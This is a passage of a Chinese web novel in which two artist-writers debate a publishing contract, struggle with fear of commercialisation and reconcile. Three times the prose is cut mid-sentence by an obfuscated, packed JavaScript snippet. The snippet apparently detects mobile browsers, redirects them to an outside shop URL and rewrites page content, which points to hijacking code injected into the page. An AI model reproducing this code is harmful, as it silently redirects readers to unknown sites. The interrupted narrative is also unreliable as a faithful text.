“就当是一次有趣的聊天。”霜莉安慰她,“我们听听专业人士的想法,学习一些新东西,然后决定什么对我们最好。” 林悦编辑准时到达。她是一位四十岁左右的女性,穿着简约但有品味的职业装,手里拿着一个皮质文件夹。她的笑容真诚,握手有力。 “你们好,我是林悦。很高兴终于见面了。”她坐下,点了杯美式咖啡,“我在网上关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122858|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注‘寻常’组合很久了,特别喜欢你们的作品。尤其是《豆腐山林》,那种文字和图像的对话感,很少见,很珍贵。” 开场白让气氛轻松了一些。霜莉介绍了她们的基本情况,鸿雁展示了插图册。林悦看得很仔细,不时提出问题,但都是基于对作品的理解和欣赏。 “我特别喜欢你们对食物的处理方式。”林悦说,“不是简单的食谱或美食描写,而是通过食物探讨更大的主题:记忆、传承、关系、时间。这在当下的出版市场很独特,也很有价值。” 霜莉和鸿雁对视一眼,都稍微放松了一些。至少,林悦理解她们作品的核心。 接下来的讨论进入了具体环节。林悦提出了出版社的初步构想:做一套三册的图文书籍,每册围绕一个核心主题,精装,注重设计和质感。她甚至带来了一些类似风格的书籍作为参考。 “我们的设想是,”林悦翻开一本参考书,“保持你们作品的文学性和艺术性,但在呈现方式上更精致,更适合收藏和馈赠。比如,可以使用更好的纸张,更讲究的装帧,甚至考虑一些特殊工艺。” 鸿雁仔细看着参考书:“这些设计确实很美,但会不会太‘精致’了?我们的作品有一种质朴的温度,过于华丽的设计可能会掩盖这种温度。” 林悦点头:“这个问题提得很好。我们的设计师会和你们紧密合作,确保设计服务于内容,而不是反过来。我们的目标是做出既美观又有深度的书籍,不是那种只有外表的‘花瓶书’。” 讨论进行得很顺利,但接着进入了更实质的部分:时间表、稿费、版权、营销等。 “如果合作,我们建议的出版节奏是每年一至两册。”林悦说,“这样既能保持市场热度,又不会给你们太大的时间压力。当然,具体可以根据你们的创作节奏调整。” 霜莉问:“内容的修改和审定方面呢?出版社通常有什么要求?” 林悦坦诚地说:“我们会提出专业的编辑建议,比如结构优化、语言润色、事实核对等。但核心内容和艺术风格,我们尊重创作者的意见。毕竟,我们看中的正是你们独特的创作视角和表达方式。” 鸿雁提出了她最关心的问题:“如果市场反响不如预期,出版社会要求我们调整方向吗?比如加入更商业化的元素?” 林悦思考了一下,然后认真回答:“任何出版都有市场风险,我们也需要面对销售压力。但我相信,真正好的作品能找到它的读者。我们的责任不是改变作品的本质去迎合市场,而是通过适当的包装和推广,让更多的读者发现它的价值。” 她顿了顿,补充道:“当然,合作是双向的。如果你们感觉出版方在过度干涉创作,可以随时提出,我们可以协商。我们的目标是共赢,不是单方面的控制。” 整个见面持续了两个小时。结束时,林悦留下了合同草案和更详细的出版计划书,让她们有时间仔细研究。 “不用急着做决定。”林悦说,“仔细考虑,有任何问题随时联系我。无论最终是否合作,我都欣赏你们的作品,也会继续关注‘寻常’组合的发展。” 送走林悦后,霜莉和鸿雁回到座位上,一时无言。 “你怎么看?”霜莉先开口。 鸿雁搅拌着已经冷掉的咖啡:“她比我想象的懂行,也比我预期的尊重创作者。但我还是有些担心——合同里那些条款,那些时间表,那些‘建议’。” 霜莉点头:“我也有同感。机会很好,但一旦签了合同,我们就有了法律义务。万一以后有分歧,我们可能处于被动。” “而且,”鸿雁说,“一旦进入出版流程,创作就不再只是我们两个人的事了。会有编辑、设计师、营销人员介入,每个人都有自己的想法和利益。” 她们沉默地坐了一会儿,看着窗外街道上人来人往。这是一个十字路口,她们需要做出选择:接受这个机会,让《食味江湖》走向更广阔的世界;或者保持现状,继续她们小而美的创作模式。 “我们需要时间仔细研究合同,咨询专业人士。”霜莉说,“也要问问自己,我们真正想要的是什么。” 鸿雁同意:“对。我们回去各自思考,下次创作会再深入讨论。” 离开咖啡馆时,天色已近黄昏。街道被染上金色的余晖,行人的影子拉得很长。霜莉和鸿雁并肩走着,都没有说话,但心中都在翻腾着同样的思绪。 这是一个突如其来的机会,一个诱人的可能,一个重大的决定。它可能改变《食味江湖》的命运,改变“寻常”组合的方向,甚至改变她们之间的合作方式。 前方道路分叉,她们需要选择一条。但至少,她们会一起选择,一起面对,一起承担。 这是合作的意义,也是友谊的承诺。 而无论如何选择,她们都知道,创作会继续,友谊会继续,对美食和故事的热爱会继续。 这,或许就已经足够了。 22. 名利的诱惑 霜莉把出版合同草案放在书桌中央,旁边是出版社提供的市场分析报告和营销计划书。她已经在电脑前坐了三小时,逐条研究合同条款,做笔记,查资料,咨询懂法律的朋友。 合同本身看起来公平合理:版税比例在行业内属于中上水平,版权归属清晰,时间表宽松,编辑权限有限。出版社甚至同意在封面和内页设计上给予她们很大的话语权。 但真正让霜莉心动的是那份营销计划书。出版社计划为《食味江湖》安排一系列推广活动:新书发布会、作者签售、媒体采访、网络营销、书店陈列……这些是她作为独立作者从未想象过的资源。 “如果合作顺利,”林悦在后续邮件中写道,“我们还可以考虑延伸产品:插画明信片、主题笔记本、甚至与美食品牌联名。‘食味江湖’有成为一个文化品牌的潜力。” 文化品牌。这个词在霜莉脑海中回荡。她的创作,她和鸿雁的合作,有可能超越单本书籍,成为一个更广泛的文化现象。这不仅仅是出版,是认可,是扩大影响,是让她们的理念触及更多人。 但同时,鸿雁的担忧也在她心中回响。昨晚的创作会上,鸿雁明确表达了自己的保留意见。 “我不喜欢那个‘品牌’的说法。”鸿雁当时说,“我们的创作是艺术表达,不是品牌建设。一旦开始考虑‘品牌’,就会开始计算‘市场’,就会失去纯粹性。” 霜莉试图解释:“但如果我们希望作品被更多人看到,就需要一定的推广。酒香也怕巷子深啊。” “我宁愿待在深巷里,保持酒的纯粹,让真正懂得欣赏的人慢慢找来。”鸿雁坚持,“而不是为了卖更多,往酒里兑水。” 这个比喻让霜莉一时语塞。她理解鸿雁的坚持,但也看到机会的价值。难道就不能在保持纯粹的同时,也让更多人接触到作品吗? 手机响了,是林悦的微信:“霜莉,关于合同还有什么疑问吗?我们可以安排时间详细讨论任何条款。” 霜莉回复:“我们还在研究,需要一些时间。鸿雁有些顾虑,关于创作自主性和商业化之间的平衡。” 林悦很快回复:“完全理解。这也是我们重视的问题。也许我们可以安排一次三方会议,充分沟通,找到一个双方都能接受的方案。” 这个提议合理,但霜莉知道,核心问题不是沟通,而是她和鸿雁之间的根本分歧:她对出版机会的渴望,鸿雁对商业介入的警惕。 这种分歧在她们的合作中第一次如此明显。之前的创作讨论也有不同意见,但总能通过对话找到共识。这次,似乎触及了更深层的价值观差异。 霜莉站起身,在书房里踱步。糯米从书架上滑翔下来,落在她肩头,吱吱叫着,像是在询问她的烦恼。 “糯米,妈妈有点困惑。”她轻声说,“这是一个好机会,我真的不想错过。但鱿鱼的担心也有道理,我该怎么办?” 糯米当然不会回答,只是用柔软的小身体蹭她的脸颊。 另一边,鸿雁在工作室里也陷入了类似的挣扎。她没有仔细研究合同,而是反复翻看她为《食味江湖》画的所有插图。从最早的《云间食肆》草图,到《豆腐山林》的完整系列,每一幅画都记录着她们的创作历程,她们的探索,她们的成长。 这些画不是为了市场画的,是为了表达画的;不是为了销量画的,是为了理解画的。每一笔都来自真实的观察,每一色都来自深刻的感受。 如果出版,这些画会被印刷成千上万份,放在书店里标价出售,被不认识的人买走,可能被珍惜,也可能被随意对待。它们会成为商品,有价格,有销量,有市场评价。 鸿雁不介意作品被更多人看到——事实上,她很享受分享。但她害怕的是作品被异化,从心血的结晶变成销售的数字,从艺术的表达变成市场的产品。 更让她担心的是,一旦进入商业轨道,她和霜莉的关系可能会改变。现在,她们是平等的创作伙伴,共同探索,共同决定。但如果有出版社介入,有合同约束,有经济利益,这种纯粹的合作关系还能保持吗? 咪咪跳上工作台,用爪子轻轻拍打一幅未完成的画。鸿雁把它抱起来:“咪咪,你也觉得我太固执了吗?也许霜莉是对的,这是一个难得的机会,我应该更开放一些。” 但内心深处,她知道自己的担忧不是没有根据的。她见过太多艺术家在商业化过程中失去初心,见过太多友谊在利益面前变质,见过太多好作品在市场的压力下变得平庸。 她不想让“食味江湖”走上那条路,不想让“寻常”组合变成商业品牌,不想让和霜莉的创作友谊被合同和版税侵蚀。 可是,她也看到了霜莉眼中的渴望。霜莉为《食味江湖》倾注了那么多心血,希望它被更多人看到,被更多人认可,这是完全合理的情感。如果她因为自己的顾虑而阻止这个机会,对霜莉公平吗? 鸿雁陷入了两难:坚持自己的原则,可能让霜莉失望;妥协自己的坚持,可能毁掉她们珍视的东西。 接下来的几天,两人的交流变得有些尴尬。创作会上,讨论新项目的热情明显减退。霜莉提到出版的可能性时,鸿雁会转移话题;鸿雁表达对商业化的担忧时,霜莉会略显急躁。 这种微妙的紧张甚至影响到了宠物。糯米似乎感受到霜莉的焦虑,比平时更粘人;咪咪则更多时间躲在角落,不像以前那样亲近两人。 周三晚上,霜莉决定直面这个问题。她带着自己做的杏仁豆腐来到鸿雁的工作室——这是鸿雁最喜欢的甜点之一。 “我们得好好谈谈。”霜莉放下甜品,认真地说,“关于出版的事,我们不能一直这样回避。” 鸿雁点点头,给两人倒了茶:“我知道。我也在想这个问题。” 她们坐在工作室的地板上,背靠着书架,像以前无数个创作之夜那样。但气氛不同以往,有一种沉重的静默。 “我先说吧。”霜莉深吸一口气,“我真的很想接受这个出版机会。不只是为了出名或赚钱,而是因为我觉得《食味江湖》值得被更多人看到,我们的理念值得被更多人了解。而且,有了出版社的资源支持,我们可以把作品做得更好——更好的纸张,更好的印刷,更好的设计。” 鸿雁安静地听着,没有打断。 “但我理解你的担心。”霜莉继续说,“我也担心商业化会改变我们的创作,会给我们压力,会影响我们的合作。所以我想,我们能不能找到一个中间道路?不是完全拒绝,也不是完全接受,而是有选择地合作,设定明确的界限。” 鸿雁沉默了一会儿,然后说:“你说的有道理。我也在反思自己是不是太极端了。也许我们可以尝试,但要有非常清晰的保护措施。” 她顿了顿,继续说道:“我的核心担忧有两个:第一,创作自主权;第二,我们的合作关系。如果我们能在这两点上得到充分保障,我愿意考虑。” 霜莉的眼睛亮了:“那我们可以和林悦谈判,把这些要求明确写进合同。比如,任何内容的修改必须经过我们双方同意;比如,营销活动不能要求我们做不符合我们形象的事情;比如,如果我们感觉合作不适,可以有合理的退出机制。” 鸿雁思考着这些可能性:“如果出版社能同意这些条件,那确实可以考虑。但我还有一个更深层的担心:即使有合同保障,一旦进入商业体系,我们的心态可能会不知不觉改变。我们会开始关注销量、评价、市场反应,而不是纯粹的创作乐趣。” 这个问题更本质,也更难解决。霜莉承认:“这确实是一个挑战。但也许我们可以互相提醒,保持初心。就像我们在‘食味江湖’中写的那些人物,无论外界如何变化,都坚持自己的核心价值。” “互相提醒……”鸿雁重复这个词,然后笑了,“这也许是我们能做的。你提醒我不要过于封闭,我提醒你不要过于追逐外部认可。我们平衡彼此。” 这个想法让紧张的气氛缓和了许多。她们不是对立的双方,而是需要互相平衡的伙伴。 “那我们下一步怎么做?”霜莉问。 鸿雁说:“我们可以约林悦正式谈判,提出我们的条件和担忧。如果她能接受,并且我们感觉她是真正理解并尊重我们理念的合作伙伴,那就可以尝试。如果不行,我们就礼貌地拒绝。” 霜莉点头:“好,这个方案我同意。我们一起准备谈判要点,一起参加谈判,共同决定。” 她们开始具体规划。鸿雁列出了她的“非谈判条款”:创作内容最终决定权、艺术风格自主权、不参与过度商业活动、不接受不合理的截稿压力。霜莉补充了一些“理想条款”:设计参与权、营销建议权、未来延伸产品的分成比例。 他们还讨论了可能出现的最坏情况:如果合作不愉快怎么办?如果销量不佳出版社施压怎么办?如果两人的创作理念在压力下产生分歧怎么办? “无论如何,”霜莉最后说,“我们要承诺,无论发生什么,我们首先是对彼此负责,对作品负责,而不是对合同或出版社负责。” 鸿雁握住她的手:“我同意。这是我们最重要的原则:友谊第一,创作第二,商业第三。” 这个承诺让两人都感到安心。无论前方有什么挑战,至少她们会一起面对,不会让外部因素破坏她们的合作和友谊。 接下来的周末,她们与林悦进行了第二次会议。这次是在出版社的会议室,气氛更正式,但沟通更深入。 霜莉和鸿雁轮流表达了她们的关切和条件。林悦认真倾听,做笔记,不时提出问题以澄清理解。 “我完全理解你们的担忧。”林悦在听完后说,“实际上,这正是我们想合作的原因——你们对创作的认真和坚持,正是作品价值的核心。我们不想改变这一点,而是想帮助它被更多人看到。” 她提出了出版社的修改方案:在合同中明确加入创作自主权条款;设立双方共同决策机制;为营销活动设定界限;提供更宽松的时间表;甚至同意在合作不适时,可以有条件地提前终止合同。 “我们相信,只有创作者感到自由和被尊重,才能产出最好的作品。”林悦说,“我们的角色是支持者,不是控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122859|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制者。” 这个态度让霜莉和鸿雁都感到意外和欣慰。她们没想到出版社会如此开放和尊重。 会议结束后,林悦给了她们修改后的合同草案。“你们可以带回去仔细研究,咨询律师,慢慢考虑。不用着急。” 回家的路上,霜莉和鸿雁都很沉默,各自消化着刚才的对话。 “她比我想象的好很多。”鸿雁先开口,“我以为出版社会更强势,更商业导向。” 霜莉点头:“我也是。但也许我们遇到了真正懂得欣赏和尊重创作者的编辑。” “但这不意味着没有问题。”鸿雁说,“合同再好,实际执行中也可能出现偏差。而且,即使有最好的意图,一旦进入商业流程,总会有压力和妥协。” “所以我们还是要谨慎。”霜莉同意,“但至少,现在看起来值得尝试。” 她们决定花一周时间仔细研究修改后的合同,咨询专业人士,同时深入思考自己的真实意愿。 这一周里,名利的诱惑以各种形式出现:朋友们的祝贺和羡慕,社交媒体上关注者的期待,想象中的新书发布会场景,可能的文化影响力…… 但同时,对纯粹创作的渴望也在呼唤:不受干扰的创作节奏,自由的探索,深厚的友谊,内心的满足。 霜莉发现自己在两者间摇摆。有时,她想象着《食味江湖》摆在书店醒目位置,读者排队等待签售,媒体采访,文化讨论……这些场景让她激动。有时,她又怀念和鸿雁在工作室里安静创作,不受外界评价干扰的时光。 鸿雁也有类似的挣扎。她看到合同中的版税数字,想象着有了这笔收入,可以升级画材,可以更自由地旅行采风,可以减少接商业插画的压力。但同时,她也担心这些利益会改变她的创作动机,会让她开始计算投入产出比,而不是跟随内心的创作冲动。 周五晚上,她们再次相聚,分享各自的思考。 “我这周想了很多。”霜莉说,“我意识到,我渴望出版,部分是因为我需要外部确认——需要证明我的创作是有价值的,是被认可的。这是一种不安全感。” 鸿雁惊讶地看着她:“你很少这么坦诚地谈自己的不安全感。” “因为这次的决定迫使我面对它。”霜莉苦笑,“但我同时意识到,真正的价值不应该依赖外部确认。即使不出版,《食味江湖》对我们的意义也不会减少。” 鸿雁点头:“我也做了类似的反思。我抗拒出版,部分是因为害怕改变,害怕失去控制,害怕面对更复杂的世界。这也是一种不安全感。” 她们相视而笑,意识到彼此都在面对自己的恐惧和欲望。 “那我们怎么办?”霜莉问。 鸿雁思考了一会儿:“也许我们可以做一个实验。不签长期合同,先签一个单本书的合作,试试水。如果感觉好,继续;如果不好,就停止。” “单本?哪一本?” “《豆腐山林》。”鸿雁说,“它是最完整的,最能代表我们的理念。我们可以把它作为试金石,看看出版合作的实际体验如何。” 这个折中方案让两人都感到可行。它不是全盘接受,也不是完全拒绝,而是一种谨慎的尝试,留有退路。 “好,我们就提这个方案。”霜莉说,“先出版《豆腐山林》,看合作情况再决定是否继续整个系列。” 决定做出后,两人都感到一种轻松。她们找到了一个平衡点:既不过于追逐名利而迷失,也不过于恐惧改变而封闭。这是一种成熟的应对,既尊重机会,也尊重内心。 那一夜,她们在工作室里工作到很晚,不是讨论出版,而是讨论《食味江湖》的下一个故事——关于快与慢,关于在急速变化的江湖中保持自己的节奏。 这个主题意外地呼应了她们当前的处境。在名利的诱惑面前,如何保持自己的创作节奏和核心价值?在商业的机会面前,如何不迷失于外部评价而坚持内在标准? 也许,最好的答案就在她们的故事里,在她们的创作中,在她们的友谊中。 名利是诱惑,也是考验。而她们,作为“寻常”组合,作为“食味江湖”的创造者,作为彼此最重要的创作伙伴,正在学习如何面对这个考验。 不是拒绝诱惑,也不是被诱惑吞噬,而是在诱惑面前保持清醒,在机会面前保持初心,在变化面前保持平衡。 这不容易,但值得尝试。 因为创作之路从来不是简单的直线,而是复杂的曲线;不是单一的纯净,而是丰富的混合;不是绝对的对错,而是相对的平衡。 而她们,正在这条路上,一起学习,一起成长,一起寻找属于自己的答案。 名利在前,初心在侧,友谊在手。 这就够了。 足够让她们勇敢前行,谨慎探索,真实创作,深厚友谊。 在诱惑与坚持之间,在机会与风险之间,在外界与内心之间。 寻找平衡,保持真实,继续创作。 这就是她们的选择,这就是她们的路径,这就是她们的“食味江湖”。 23. 鱿鱼的逃避 合同谈判进入最后阶段,林悦发来了最终版的合同文件,只等霜莉和鸿雁签字确认。出版社已经开始筹备《豆腐山林》的出版工作,甚至有了初步的设计方案和时间表。 但鸿雁消失了。 不是物理上的消失——她的工作室还亮着灯,咪咪还在窗台上晒太阳——但她不再回复霜莉的消息,不接电话,工作室的门也总是关着。霜莉去敲过几次门,只听到里面隐约有音乐声,但无人应答。 第一天,霜莉以为鸿雁只是需要独处时间。第二天,她开始担心。第三天,她带着糯米直接去了工作室,用备用钥匙开了门——这是鸿雁很久以前给她的,说万一有急事可以用。 工作室里一片狼藉。不是平时的创作性杂乱,而是一种压抑的混乱:画了一半的画布被随意扔在地上,颜料管挤得到处都是,速写本散落各处,有些页面被撕掉揉成团。空气中弥漫着松节油和焦虑的味道。 鸿雁蜷缩在角落的旧沙发里,身上盖着一条沾满颜料的毯子,眼睛盯着墙上某处,但眼神空洞。咪咪蹲在她脚边,警惕地看着进门的霜莉和糯米。 “鱿鱼?”霜莉轻声叫道。 鸿雁没有反应,仿佛没听见。 霜莉小心地走过去,在沙发旁的地板上坐下,没有靠得太近。糯米从她肩头滑下来,轻轻跳到鸿雁膝盖上,用柔软的身体蹭她的手。鸿雁的手指微微动了动,但没有抚摸糯米。 “发生什么事了?”霜莉问,声音尽量平静,“你已经三天没回我消息了,我很担心。” 鸿雁终于转过头,看着她,眼睛里有一种霜莉从未见过的疲惫和迷茫。“我只是……需要时间。” “时间做什么?” “思考。呼吸。存在。”鸿雁的声音很轻,几乎被工作室里低沉的背景音乐淹没,“不思考出版,不思考合同,不思考未来,不思考任何需要决定的事情。” 霜莉理解这种感受——当压力太大时,人会想要逃避,想要回到最简单最基本的状态。但她没想到鸿雁会以这种方式逃避,完全切断联系。 “我们可以不签合同。”霜莉说,“如果你真的不愿意,我们可以拒绝。你的感受比任何出版机会都重要。” 鸿雁苦笑:“但你想签,不是吗?你为这个机会兴奋,你看到了所有可能性。如果我因为自己的恐惧而阻止它,对你不公平。” “这不是阻止,这是共同决定。”霜莉说,“如果我们不能达成共识,就不应该继续。我们的合作基础是双方都感到舒适和投入。” 鸿雁闭上眼睛,深吸一口气,然后慢慢呼出:“问题不是合同本身。林悦已经尽可能地尊重我们了,合同条款也很公平。问题是我自己——我害怕改变,害怕承诺,害怕一旦签了字,就再也回不到从前了。” 她坐直一些,毯子滑落,露出下面皱巴巴的衬衫。“你知道吗,我从小就讨厌被约束。上学时讨厌课表,工作时讨厌打卡,创作时讨厌截稿日。我喜欢自由,喜欢随时可以改变主意,喜欢没有承诺的状态。” “所以‘寻常’组合让你感到压力了?”霜莉问,心中有一丝刺痛。 “不,不是‘寻常’。”鸿雁摇头,“‘寻常’是我自愿的选择,是我想要的合作。但出版不同,它有法律约束,有时间表,有商业期望。一旦进入那个体系,我就不能再像现在这样,想画就画,不想画就不画;想更新就更新,不想更新就暂停。” 她站起来,走到工作台前,看着上面摊开的合同文件。“这些白纸黑字,这些条款日期,这些权利义务……它们像笼子,即使是最精美的笼子,也还是笼子。” 霜莉也站起来,走到她身边:“但笼子也可以提供保护。合同明确了我们的权利,保护了我们的创作,确保了我们的收益。没有合同,我们反而更容易被利用。” “我知道,理性上我知道。”鸿雁转身面对她,“但感性上,我只想逃跑。跑到一个没有人认识我,没有合同等我,没有期望压我的地方。只是画画,只是记录,只是存在。” 这种深刻的冲突让霜莉无言以对。她理解鸿雁的感受,但她也看到了鸿雁可能没有看到的:逃避不会解决问题,只会延迟问题;恐惧不会保护自由,只会限制自由。 “鱿鱼,”她轻声说,“你还记得《豆腐山林》里,叶静心对苏寻味说的话吗?‘深度不是排斥广度,而是为广度提供根基。’你现在的恐惧,就像排斥广度,害怕任何可能改变你深度状态的东西。” 鸿雁愣了一下,显然没想到霜莉会用她们自己作品中的话来回应。 霜莉继续:“但真正的深度不是封闭,而是在开放中保持核心;真正的自由不是没有约束,而是在约束中创造空间;真正的创作不是逃避世界,而是在世界中找到自己的位置。” 这些话让鸿雁陷入沉思。她走回沙发,重新坐下,抱起糯米轻轻抚摸。小家伙发出满足的吱吱声,在她手心蜷缩成一个小毛球。 “我昨天画了一幅画。”鸿雁突然说,“不是为‘食味江湖’画的,只是为自己画的。想看看吗?” 霜莉点头。鸿雁从工作台底下抽出一张画布,翻转过来。 画面上是一只鸟,关在一个精美的笼子里。笼子的门是开着的,但鸟没有飞走,只是站在门口,望着外面广阔的天空,眼神复杂——不是渴望,也不是恐惧,而是一种深沉的犹豫。 “这就是我现在的状态。”鸿雁说,“笼门开着,我可以选择飞走,也可以选择留下。但无论选择什么,我都害怕——飞走怕失去安全,留下怕失去自由。” 霜莉仔细看着那幅画。鸟的羽毛画得极其细腻,每一根都有不同的质感和光泽;笼子的金属纹理也很精细,甚至反射着微妙的光影。整幅画技术精湛,但情感压抑。 “你画了多久?”霜莉问。 “从收到最终合同那天开始,画了三天。”鸿雁说,“除了吃饭睡觉,一直在画。好像只有通过画画,我才能表达自己说不清楚的感受。” “这就是你的表达方式。”霜莉说,“就像我用文字表达一样。但鱿鱼,你有没有想过,也许你不需要在‘飞走’和‘留下’之间二选一?也许有第三条路:带着笼子一起飞?” 鸿雁困惑地看着她:“什么意思?” “我的意思是,”霜莉在她身边坐下,“合同不是永恒的牢笼,而是可以重新协商、可以修改、甚至可以在不适时终止的工具。我们可以设定明确的界限,可以保留退出的权利,可以控制参与的程度。” 她指着画中的鸟:“这只鸟为什么一定要把笼子视为限制?为什么不能把笼子视为它的巢穴,一个可以随时回来休息的安全基地?它可以飞出去探索广阔的天空,但知道有一个地方属于它,保护它。” 这个视角让鸿雁的眼睛微微发亮。“巢穴……不是牢笼,而是归属。” “对。”霜莉说,“出版合作可以成为我们的巢穴:提供资源,提供保护,提供支持。但我们仍然可以自由飞翔,仍然可以决定飞多高,飞多远,什么时候回来。” 鸿雁长久地看着那幅画,然后轻声说:“我一直把自由理解为‘没有约束’,但也许真正的自由是‘选择约束的能力’。选择什么样的约束,为什么选择,如何与约束共处。” “就像叶静心选择隐居,不是被迫的,而是主动的选择。”霜莉说,“她的隐居生活有很多约束:固定的作息,有限的社交,重复的劳动。但这些约束给了她深度,给了她专注,给了她理解世界的独特方式。” 鸿雁点点头,表情开始松动。“也许我需要重新理解出版合作。不是作为对自由的威胁,而是作为一种主动选择的约束形式——为了获得其他价值而自愿接受的约束。” “而且,”霜莉补充,“这是我们共同的选择,不是强加给我们的。我们可以随时重新评估,随时调整,甚至随时停止。主动权在我们手中。” 工作室里的气氛渐渐变得轻松。咪咪跳上沙发,挤到两人中间,要求抚摸。糯米也从鸿雁手心爬到霜莉肩头,好奇地看着那幅画。 “我需要一点时间消化这些想法。”鸿雁说,“但谢谢你来找我,谢谢你不放弃我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122860|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霜莉微笑:“我永远不会放弃你。我们是创作伙伴,是朋友。在困难时刻互相寻找,互相支持,这就是我们的承诺——比任何合同都重要的承诺。” 那天下午,她们没有讨论合同,没有规划出版,只是坐在一起喝茶,聊些轻松的话题:最近发现的美食,宠物的趣事,有趣的创作灵感。有时候,最重要的不是解决问题,而是恢复连接,重建信任。 傍晚,霜莉准备离开时,鸿雁说:“把合同留给我吧,我今晚会仔细读一遍,不带恐惧地读。明天我们讨论,一起做决定。” “好。”霜莉点头,“无论什么决定,我们都一起承担。” 走出工作室时,天色已近黄昏。街道被染上温暖的金色,行人的影子拉得很长。霜莉感到一种深深的疲惫,但也有一丝希望。 鸿雁的逃避不是拒绝,而是深层的恐惧和不确定。通过直面这种恐惧,通过深入的对话,她们可能找到比简单接受或拒绝更成熟的应对方式。 这让她想起《豆腐山林》中的苏寻味:她在面对挑战时也有过逃避的时刻,但最终通过坚持和理解,找到了自己的道路。鸿雁现在就像那个犹豫的苏寻味,需要时间和空间,也需要支持和理解。 而霜莉的角色,就像耐心但坚定的叶静心:不强迫,不催促,但也不放弃,提供空间也提供指引。 这种角色互换很有趣——在她们的故事中,鸿雁的插图赋予了叶静心深度;在现实中,霜莉需要扮演叶静心的角色,帮助鸿雁度过难关。 创作和现实如此交织,互相映照,互相启发。这或许就是创作者生活的美妙之处:你创作的故事,也在创作你;你书写的人物,也在书写你。 回到家后,霜莉没有继续工作,而是给自己放了一个轻松的夜晚:泡个热水澡,读一本与创作无关的书,早点睡觉。她知道,明天需要清晰的头脑和开放的心灵,与鸿雁一起做出重要的决定。 睡前,她在日记中写道: “今天找到了逃跑的鱿鱼。她躲在自己的恐惧里,像一只站在开着的笼门前的鸟,既渴望天空又依恋安全。 “我理解她的恐惧。在名利的诱惑面前,在商业的复杂面前,在改变的不确定面前,谁不想逃跑呢?但逃跑不会带来自由,只会带来更大的束缚——被恐惧束缚,被犹豫束缚,被未做的选择束缚。 “真正的自由是选择的勇气,是承担的意愿,是在约束中创造空间的能力。 “我希望鱿鱼能找到这种自由。我会帮助她找到这种自由。不是通过说服,而是通过理解;不是通过推动,而是通过陪伴;不是通过决定,而是通过对话。 “因为我们的友谊比任何合同都重要,我们的创作比任何商业成功都珍贵,我们的成长比任何外部认可都有价值。 “明天,我们会一起面对选择。无论选择什么,至少我们会一起选择。 “这就够了。 “晚安,鱿鱼。晚安,自己。晚安,所有在恐惧和渴望之间徘徊的创作者。 “愿你们都有勇气选择,都有智慧平衡,都有同伴支持。 “在约束中创造自由,在变化中保持核心,在复杂中寻找简单。 “这就是创作之路,也是生活之路。 “而我,正在这条路上,与最好的伙伴一起。 “感恩,晚安。” 写完这些,霜莉关掉台灯,在黑暗中闭上眼睛。明天,太阳照常升起,选择等待做出,道路等待行走。 而她,准备好了。 带着理解,带着耐心,带着友谊,带着对创作和生活的信念。 准备好与鱿鱼一起,面对笼门外的天空,做出属于她们的选择。 飞或不飞,留或不留,或者找到第三条路——带着笼子一起飞。 无论如何,她们会一起。 这就够了。 足够勇敢,足够真实,足够温暖。 这就是她们,这就是“寻常”,这就是“食味江湖”。 在逃避之后,在寻找之后,在对话之后。 继续前行。 24. 深夜真心话 凌晨一点,霜莉被手机震动吵醒。是鸿雁发来的消息:“睡不着。你在醒着吗?” 霜莉揉了揉眼睛,回复:“刚醒。怎么了?” “能出来吗?老地方。” 老地方指的是她们常去的那家深夜馄饨摊,开在街角,营业到凌晨三点。老板是个寡言的中年人,馄饨做得简单但用心,汤头清鲜,皮薄馅足。 霜莉没有多问,只回了一个字:“好。” 二十分钟后,两人在馄饨摊最里面的桌子旁坐下。这个时间点,摊上只有零星几个客人:一个下夜班的出租车司机,一对低声交谈的情侣,一个独自看手机的青年。 老板看到她们,点点头,不多问,直接开始煮馄饨。他知道她们的口味:霜莉要小碗,多加紫菜;鸿雁要大碗,多加香菜。 深夜的城市与白天不同,安静中带着一种疲惫的温柔。街灯在湿漉漉的地面上投下昏黄的光晕,偶尔有车辆驶过,轮胎摩擦地面的声音显得格外清晰。 馄饨上来了,热气腾腾,驱散了夜间的微寒。两人沉默地吃了几口,然后鸿雁先开口。 “我仔细读了合同。”她说,声音平静但带着一丝沙哑,“条款确实公平,林悦也确实尊重我们。理性上,我知道应该签。但感性上,我还是害怕。” 霜莉放下勺子:“害怕什么?具体害怕什么?” 鸿雁思考了一会儿,然后说:“害怕失去创作的纯粹性。现在,我画画是因为我想画,因为我有话要说,因为有美要捕捉。一旦出版,我可能会开始想:读者会喜欢这个风格吗?市场会接受这个主题吗?销量会好吗?这些想法会污染创作的纯粹性。” “但你以前也办过画展,也发过作品,也会有读者反馈。”霜莉指出,“那些没有污染你的创作吗?” 